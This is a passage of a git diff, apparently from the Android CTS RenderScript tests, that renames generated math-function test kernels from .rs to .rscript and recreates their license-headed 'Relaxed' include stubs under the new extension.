diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10Relaxed.rs
deleted file mode 100644
index d95f6a7..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestExp10.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10Relaxed.rscript
new file mode 100644
index 0000000..091850a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestExp10.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2Relaxed.rs
deleted file mode 100644
index 53dd864..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestExp2.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2Relaxed.rscript
new file mode 100644
index 0000000..0b6f3bc
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestExp2.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpRelaxed.rs
deleted file mode 100644
index 0971e78..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestExp.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpRelaxed.rscript
new file mode 100644
index 0000000..5e4eae6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestExp.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1Relaxed.rs
deleted file mode 100644
index caf0f9d..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestExpm1.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1Relaxed.rscript
new file mode 100644
index 0000000..88d25ba
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestExpm1.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabsRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabsRelaxed.rs
deleted file mode 100644
index 0069908..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabsRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFabs.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabsRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabsRelaxed.rscript
new file mode 100644
index 0000000..f49f4c6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabsRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFabs.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistanceRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistanceRelaxed.rs
deleted file mode 100644
index 60b67d4..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistanceRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFastDistance.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistanceRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistanceRelaxed.rscript
new file mode 100644
index 0000000..d1d2e27
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistanceRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFastDistance.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLength.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLengthRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLengthRelaxed.rs
deleted file mode 100644
index a7b92f4..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLengthRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFastLength.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLengthRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLengthRelaxed.rscript
new file mode 100644
index 0000000..c82f4ab
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastLengthRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFastLength.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalize.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalizeRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalizeRelaxed.rs
deleted file mode 100644
index 93f85a8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalizeRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFastNormalize.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalizeRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalizeRelaxed.rscript
new file mode 100644
index 0000000..90ea15f
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastNormalizeRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFastNormalize.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdim.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdimRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdimRelaxed.rs
deleted file mode 100644
index 22b63e9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdimRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFdim.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdimRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdimRelaxed.rscript
new file mode 100644
index 0000000..058b411
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFdimRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFdim.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloor.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloorRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloorRelaxed.rs
deleted file mode 100644
index 95f6bfb..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloorRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFloor.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloorRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloorRelaxed.rscript
new file mode 100644
index 0000000..a02a516
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFloorRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFloor.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaRelaxed.rs
deleted file mode 100644
index 879f4da..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFma.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaRelaxed.rscript
new file mode 100644
index 0000000..764d574
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFma.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaxRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaxRelaxed.rs
deleted file mode 100644
index bf2d071..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaxRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFmax.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaxRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaxRelaxed.rscript
new file mode 100644
index 0000000..abeee01
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmaxRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFmax.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFminRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFminRelaxed.rs
deleted file mode 100644
index 5bbd2cf..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFminRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFmin.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFminRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFminRelaxed.rscript
new file mode 100644
index 0000000..f3772d0
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFminRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFmin.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmod.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmodRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmodRelaxed.rs
